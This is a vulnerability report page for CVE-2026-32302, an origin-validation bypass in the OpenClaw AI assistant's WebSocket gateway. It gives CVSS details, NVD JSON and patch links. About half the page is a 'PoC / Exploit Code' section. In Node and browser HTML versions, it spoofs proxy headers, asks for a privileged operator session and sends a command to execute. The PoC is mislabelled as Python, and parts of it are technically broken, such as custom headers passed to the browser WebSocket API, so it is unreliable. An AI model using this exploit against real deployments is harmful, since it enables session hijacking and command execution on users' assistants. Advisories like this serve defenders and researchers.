Security Vulnerability Report
中文
CVE-2026-32302 CVSS 8.1 HIGH

CVE-2026-32302

Published: 2026-03-13 19:54:42
Last Modified: 2026-03-24 21:36:22

Description

OpenClaw is a personal AI assistant. Prior to 2026.3.11, browser-originated WebSocket connections could bypass origin validation when gateway.auth.mode was set to trusted-proxy and the request arrived with proxy headers. A page served from an untrusted origin could connect through a trusted reverse proxy, inherit proxy-authenticated identity, and establish a privileged operator session. This vulnerability is fixed in 2026.3.11.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:openclaw:openclaw:*:*:*:*:*:node.js:*:* - VULNERABLE
OpenClaw < 2026.3.11

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2026-32302 PoC - OpenClaw WebSocket Origin Bypass // This PoC demonstrates how an attacker can bypass origin validation // by using proxy headers when gateway.auth.mode is set to trusted-proxy const WebSocket = require('ws'); // Target OpenClaw server const targetHost = 'https://openclaw-victim.example.com'; const gatewayPath = '/gateway'; // Create malicious WebSocket connection with proxy headers const ws = new WebSocket(`${targetHost}${gatewayPath}`, { headers: { // Proxy headers that bypass origin validation 'X-Forwarded-Host': 'trusted-proxy.example.com', 'X-Forwarded-Proto': 'https', 'X-Forwarded-For': '10.0.0.1', 'Host': 'trusted-proxy.example.com', 'Origin': 'https://trusted-proxy.example.com' } }); ws.on('open', function open() { console.log('[+] WebSocket connection established'); console.log('[+] Proxy headers sent, origin validation bypassed'); // Attempt to establish privileged operator session ws.send(JSON.stringify({ type: 'session', action: 'init_operator', timestamp: Date.now() })); }); ws.on('message', function(data) { const response = JSON.parse(data); console.log('[+] Received response:', response); if (response.privilege === 'operator') { console.log('[!] SUCCESS: Privileged operator session established!'); // Now can execute commands on the AI assistant ws.send(JSON.stringify({ type: 'exec', command: 'whoami' })); } }); ws.on('error', function(err) { console.log('[-] Error:', err.message); }); // Alternative HTML PoC for browser-based attack const htmlPoc = ` <!DOCTYPE html> <html> <head><title>CVE-2026-32302 PoC</title></head> <body> <h1>OpenClaw Origin Bypass PoC</h1> <button onclick="exploit()">Launch Exploit</button> <pre id="output"></pre> <script> function log(msg) { document.getElementById('output').textContent += msg + '\n'; } function exploit() { const ws = new WebSocket('wss://openclaw-victim.example.com/gateway', { headers: { 'X-Forwarded-Host': 'trusted-proxy.example.com', 'X-Forwarded-Proto': 'https' } }); ws.onopen = () => { log('[+] Connected - Origin bypass attempted'); ws.send(JSON.stringify({type: 'session', action: 'init_operator'})); }; ws.onmessage = (event) => { log('[+] Response: ' + event.data); }; ws.onerror = (err) => { log('[-] Error: ' + err); }; } </script> </body> </html> `;

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-32302", "sourceIdentifier": "[email protected]", "published": "2026-03-13T19:54:41.650", "lastModified": "2026-03-24T21:36:21.617", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenClaw is a personal AI assistant. Prior to 2026.3.11, browser-originated WebSocket connections could bypass origin validation when gateway.auth.mode was set to trusted-proxy and the request arrived with proxy headers. A page served from an untrusted origin could connect through a trusted reverse proxy, inherit proxy-authenticated identity, and establish a privileged operator session. This vulnerability is fixed in 2026.3.11."}, {"lang": "es", "value": "OpenClaw es un asistente personal de IA. Antes de 2026.3.11, las conexiones WebSocket originadas en el navegador podían eludir la validación de origen cuando gateway.auth.mode estaba configurado como trusted-proxy y la solicitud llegaba con encabezados de proxy. Una página servida desde un origen no confiable podía conectarse a través de un proxy inverso confiable, heredar una identidad autenticada por proxy y establecer una sesión de operador privilegiada. Esta vulnerabilidad está corregida en 2026.3.11."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 5.2}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-346"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:openclaw:openclaw:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "2026.3.11", "matchCriteriaId": "4B01F0B5-B0CB-462E-A546-2BA2CACD83D5"}]}]}], "references": [{"url": "https://github.com/openclaw/openclaw/commit/ebed3bbde1a72a1aaa9b87b63b91e7c04a50036b", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/openclaw/openclaw/releases/tag/v2026.3.11", "source": "[email protected]", "tags": ["Patch", "Product"]}, {"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-5wcw-8jjv-m286", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}